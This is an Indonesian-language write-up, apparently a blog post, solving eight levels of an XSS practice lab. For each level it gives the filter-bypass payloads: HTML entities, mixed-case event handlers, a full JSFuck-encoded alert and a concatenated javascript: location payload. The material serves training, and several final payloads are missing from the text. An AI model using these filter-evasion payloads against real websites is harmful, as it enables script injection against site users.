SOLUTION to XSS Challenge From V1 — V8
Hi everyone,
Bagaimana kabar anda?
Saya harap kita semua baik-baik saja.
Saya ingin membagikan sebuah artikel terkait solusi untuk ChallengeXSS dari Revan AR ( https://tools.revanar.dev/lab/ )
Sebelum memulainya, saya sudah terlebih dahulu meminta izin ke pemilik Challange untuk publish ini, dan akhirnya disetujui.
Ikuti Saya :)
- XSS Challenge V1
Di Challenge ini saya memulai melihat pelolosan karakter, dan ternyata untuk menambahkan tag baru ( <TAG> ) tidak diloloskan.
Saya memulai mencari solusi untuk menambahkan TAG baru dengan menggunakan HTML Entities.
Payload :
“><test>
Versi HTML Entities :
"><test>
Berikut tangkapan layarnya :
Dan berhasil. Selanjutnya tambahkan payload XSS.
Final Payload :
2. XSS Challenge V2
Di V2 ini seperti sebelumnya yaitu melihat pelolosan karakter input terlebih dahulu.
Dan saya mendapatkan karakter yang di filter yaitu :
< menjadi _
= menjadi ==
Saya mencoba mencari solusi bypass 2 karakter itu dengan HTML Entities. Dan berikut solusinya :
< menjadi <
= menjadi =
Berikut tangkapan layarnya :
Final Payload :
3. XSS Challenge V3
Di V3, saya mendapatkan beberapa karakter yang difilter yaitu :
< Menjadi _
= Menjadi ==
alert() Menjadi ()
Selanjutnya saya mencoba membypass itu dengan HTML Entities. Berikut bypass nya :
< Menjadi <
= Menjadi =
alert() Menjadi alert()
Berikut tangkapan Layar :
Final Payload :
4. XSS Challenge V4
Di V4, saya mendapatkan beberapa karakter yang difilter yaitu :
< Menjadi _
onload Menjadi oad
= Menjadi ==
alert() Menjadi ()
Selanjutnya saya mencoba membypass itu dengan HTML Entities dan Uppercase & Lowercase. Berikut bypass nya :
< Menjadi <
onload Menjadi OnLoad
= Menjadi =
alert() Menjadi alert()
Berikut tangkapan Layar :
Final Payload :
5. XSS Challenge V5
Di V5, saya mendapatkan beberapa karakter yang difilter yaitu :
< Menjadi _
onToGGle Menjadi ToGGle
= Menjadi ==
alert() Menjadi ()
Selanjutnya saya mencoba membypass itu dengan HTML Entities. Berikut bypass nya :
< Menjadi <
onToGGle Menjadi OnToGGle
= Menjadi =
alert() Menjadi alert()
Berikut tangkapan Layar :
Final Payload :
6. XSS Challenge V6
Di V6, saya mendapatkan beberapa karakter yang difilter yaitu :
“ Menjadi ( KOSONG/Ga Dianggap )
onerror Menjadi error
= Menjadi ==
alert() Menjadi ()
Selanjutnya saya mencoba membypass itu dengan HTML Entities. Berikut bypass nya :
“ Menjadi "
onerror Menjadi Onerror
= Menjadi =
alert() Menjadi alert()
Berikut tangkapan Layar :
Final Payload :
7. XSS Challenge V7
Di V7, saya mendapatkan beberapa karakter yang diblok yaitu :
alert() Menjadi Bloked
Event Handler nya lolos.
Berikut tangkapan layarnya :
Selanjutnya saya mencoba membypass itu dengan JSFuck :
Bypass alert() :
[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]][([]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]])[!![]%2b!![]%2b!![]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]])[%2b!![]%2b[%2b[]]]%2b([][[]]%2b[])[%2b!![]]%2b(![]%2b[])[!![]%2b!![]%2b!![]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[])[%2b!![]]%2b([][[]]%2b[])[%2b[]]%2b([]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]])[!![]%2b!![]%2b!![]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]])[%2b!![]%2b[%2b[]]]%2b(!![]%2b[])[%2b!![]]]((!![]%2b[])[%2b!![]]%2b(!![]%2b[])[!![]%2b!![]%2b!![]]%2b(!![]%2b[])[%2b[]]%2b([][[]]%2b[])[%2b[]]%2b(!![]%2b[])[%2b!![]]%2b([][[]]%2b[])[%2b!![]]%2b(![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]])[!![]%2b!![]%2b[%2b[]]]%2b(![]%2b[])[%2b!![]]%2b(![]%2b[])[!![]%2b!![]]%2b(!![]%2b[])[!![]%2b!![]%2b!![]]%2b(!![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]])()(%2b!![])
Berikut tangkapan Layar :
Final Payload :
“onerror=”[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]][([]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]])[!![]%2b!![]%2b!![]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]])[%2b!![]%2b[%2b[]]]%2b([][[]]%2b[])[%2b!![]]%2b(![]%2b[])[!![]%2b!![]%2b!![]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[])[%2b!![]]%2b([][[]]%2b[])[%2b[]]%2b([]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]])[!![]%2b!![]%2b!![]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]])[%2b!![]%2b[%2b[]]]%2b(!![]%2b[])[%2b!![]]]((!![]%2b[])[%2b!![]]%2b(!![]%2b[])[!![]%2b!![]%2b!![]]%2b(!![]%2b[])[%2b[]]%2b([][[]]%2b[])[%2b[]]%2b(!![]%2b[])[%2b!![]]%2b([][[]]%2b[])[%2b!![]]%2b(![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]])[!![]%2b!![]%2b[%2b[]]]%2b(![]%2b[])[%2b!![]]%2b(![]%2b[])[!![]%2b!![]]%2b(!![]%2b[])[!![]%2b!![]%2b!![]]%2b(!![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]])()(%2b!![])
8. XSS Challenge V8
Di V8, saya mendapatkan beberapa karakter yang diblok yaitu :
alert() Menjadi Bloked
Saya mencoba untuk membypass ini kembali dengan JSFuck, dan ini hasil tangkapan layarnya :
Wkwkw ternyata JSFuck tidak berhasil di V8, Dan saya terdiam sejenak dan melihat referensi yang dapat digunakan untuk mengakali filter ini.
Dan hingga akhirnya saya menemukan sebuah artikel referensi XSS yang sangat bagus yaitu :
Dari referensi itu saya tertarik mencoba menggunakan salah satu payload bypass disana yaitu :
<svg onload=a=’)’,b=’t(1',j=’javas’,s=’cript:aler’,location=j+s+b+a>
Dan saya mencoba itu di V8 ini, dan ini payload nya :
“onerror=”a=’)’,b=’t(1',j=’javas’,s=’cript:aler’,location=j+s+b+a
Dan berikut tangkapan layarnya :
Dan pop up muncul.
Final Payload :